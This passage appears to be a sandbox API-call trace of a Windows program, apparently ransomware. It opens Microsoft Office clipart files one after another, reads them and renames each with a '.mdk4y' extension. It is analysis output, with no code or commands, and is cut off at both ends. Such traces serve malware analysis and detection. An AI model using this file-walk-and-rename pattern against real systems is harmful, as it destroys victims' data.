Office\\CLIPART\\PUB60COR\\PE03731_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03731_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0172.139] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x9fc, lpOverlapped=0x0) returned 1 [0172.146] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03731_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03731_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03731_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03731_.wmf.mdk4y")) returned 1 [0172.147] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0172.147] AreFileApisANSI () returned 1 [0172.147] GetACP () returned 0x4e4 [0172.147] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PE03795_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PE03795_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0172.147] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03795_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03795_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0172.148] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x78a, lpOverlapped=0x0) returned 1 [0172.158] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03795_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03795_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03795_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03795_.wmf.mdk4y")) returned 1 [0172.159] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0172.159] AreFileApisANSI () returned 1 [0172.159] GetACP () returned 0x4e4 [0172.159] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PE04050_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PE04050_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0172.159] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE04050_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe04050_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0172.160] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1020, lpOverlapped=0x0) returned 1 [0172.161] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE04050_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe04050_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE04050_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe04050_.wmf.mdk4y")) returned 1 [0172.162] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0172.162] AreFileApisANSI () returned 1 [0172.162] GetACP () returned 0x4e4 [0172.162] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PE05665_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PE05665_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0172.162] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE05665_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe05665_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0172.162] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x37f8, lpOverlapped=0x0) returned 1 [0172.168] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE05665_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe05665_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE05665_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe05665_.wmf.mdk4y")) returned 1 [0172.169] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0172.169] AreFileApisANSI () returned 1 [0172.169] GetACP () returned 0x4e4 [0172.169] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PE05710_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PE05710_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0172.169] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE05710_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe05710_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0172.170] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x167c, lpOverlapped=0x0) returned 1 [0172.174] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE05710_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe05710_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE05710_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe05710_.wmf.mdk4y")) returned 1 [0172.174] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0172.174] AreFileApisANSI () returned 1 [0172.174] GetACP () returned 0x4e4 [0172.174] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PE05869_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PE05869_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0172.174] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE05869_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe05869_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0172.175] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x608, lpOverlapped=0x0) returned 1 [0172.179] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE05869_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe05869_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE05869_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe05869_.wmf.mdk4y")) returned 1 [0172.181] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0172.181] AreFileApisANSI () returned 1 [0172.181] GetACP () returned 0x4e4 [0172.181] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PE05870_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PE05870_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0172.181] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE05870_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe05870_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0172.182] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x634, lpOverlapped=0x0) returned 1 [0172.193] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE05870_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe05870_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE05870_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe05870_.wmf.mdk4y")) returned 1 [0172.193] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0172.193] AreFileApisANSI () returned 1 [0172.193] GetACP () returned 0x4e4 [0172.193] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PE05930_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PE05930_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0172.193] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE05930_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe05930_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0172.194] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x7fce, lpOverlapped=0x0) returned 1 [0172.196] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE05930_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe05930_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE05930_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe05930_.wmf.mdk4y")) returned 1 [0172.196] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0172.196] AreFileApisANSI () returned 1 [0172.196] GetACP () returned 0x4e4 [0172.196] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PE06049_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PE06049_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0172.196] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE06049_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe06049_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0172.197] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x121c, lpOverlapped=0x0) returned 1 [0172.201] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE06049_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe06049_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE06049_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe06049_.wmf.mdk4y")) returned 1 [0172.202] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0172.202] AreFileApisANSI () returned 1 [0172.202] GetACP () returned 0x4e4 [0172.202] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PE06450_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PE06450_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0172.202] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE06450_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe06450_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0172.202] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x4048, lpOverlapped=0x0) returned 1 [0172.207] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE06450_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe06450_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE06450_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe06450_.wmf.mdk4y")) returned 1 [0172.207] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0172.207] AreFileApisANSI () returned 1 [0172.207] GetACP () returned 0x4e4 [0172.207] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PH00601G.GIF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PH00601G.GIF", lpUsedDefaultChar=0x37df4c) returned 12 [0172.208] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH00601G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph00601g.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0172.208] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x629, lpOverlapped=0x0) returned 1 [0172.214] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH00601G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph00601g.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH00601G.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph00601g.gif.mdk4y")) returned 1 [0172.215] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0172.215] AreFileApisANSI () returned 1 [0172.215] GetACP () returned 0x4e4 [0172.215] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PH00780U.BMP", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PH00780U.BMP", lpUsedDefaultChar=0x37df4c) returned 12 [0172.215] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH00780U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph00780u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0172.216] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x8628, lpOverlapped=0x0) returned 1 [0172.223] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH00780U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph00780u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH00780U.BMP.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph00780u.bmp.mdk4y")) returned 1 [0172.223] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0172.224] AreFileApisANSI () returned 1 [0172.224] GetACP () returned 0x4e4 [0172.224] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PH01035U.BMP", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PH01035U.BMP", lpUsedDefaultChar=0x37df4c) returned 12 [0172.224] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01035U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01035u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0172.231] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x7e90, lpOverlapped=0x0) returned 1 [0172.233] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01035U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01035u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01035U.BMP.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01035u.bmp.mdk4y")) returned 1 [0172.234] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0172.234] AreFileApisANSI () returned 1 [0172.234] GetACP () returned 0x4e4 [0172.234] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PH01046J.JPG", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PH01046J.JPG", lpUsedDefaultChar=0x37df4c) returned 12 [0172.234] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01046J.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01046j.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0172.235] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x211bb, lpOverlapped=0x0) returned 1 [0172.258] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01046J.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01046j.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01046J.JPG.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01046j.jpg.mdk4y")) returned 1 [0172.259] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0172.259] AreFileApisANSI () returned 1 [0172.259] GetACP () returned 0x4e4 [0172.259] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PH01179J.JPG", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PH01179J.JPG", lpUsedDefaultChar=0x37df4c) returned 12 [0172.259] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01179J.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01179j.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0172.260] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xa202, lpOverlapped=0x0) returned 1 [0172.261] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01179J.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01179j.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01179J.JPG.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01179j.jpg.mdk4y")) returned 1 [0172.262] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0172.262] AreFileApisANSI () returned 1 [0172.262] GetACP () returned 0x4e4 [0172.262] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PH01213K.JPG", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PH01213K.JPG", lpUsedDefaultChar=0x37df4c) returned 12 [0172.263] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01213K.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01213k.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0172.263] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x18be, lpOverlapped=0x0) returned 1 [0172.272] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01213K.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01213k.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01213K.JPG.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01213k.jpg.mdk4y")) returned 1 [0172.273] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0172.273] AreFileApisANSI () returned 1 [0172.273] GetACP () returned 0x4e4 [0172.273] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PH01221K.JPG", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PH01221K.JPG", lpUsedDefaultChar=0x37df4c) returned 12 [0172.273] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01221K.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01221k.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0172.273] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1c94, lpOverlapped=0x0) returned 1 [0172.282] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01221K.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01221k.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01221K.JPG.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01221k.jpg.mdk4y")) returned 1 [0172.283] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0172.283] AreFileApisANSI () returned 1 [0172.283] GetACP () returned 0x4e4 [0172.283] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PH01235U.BMP", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PH01235U.BMP", lpUsedDefaultChar=0x37df4c) returned 12 [0172.283] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01235U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01235u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0172.284] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x7db8, lpOverlapped=0x0) returned 1 [0172.290] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01235U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01235u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01235U.BMP.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01235u.bmp.mdk4y")) returned 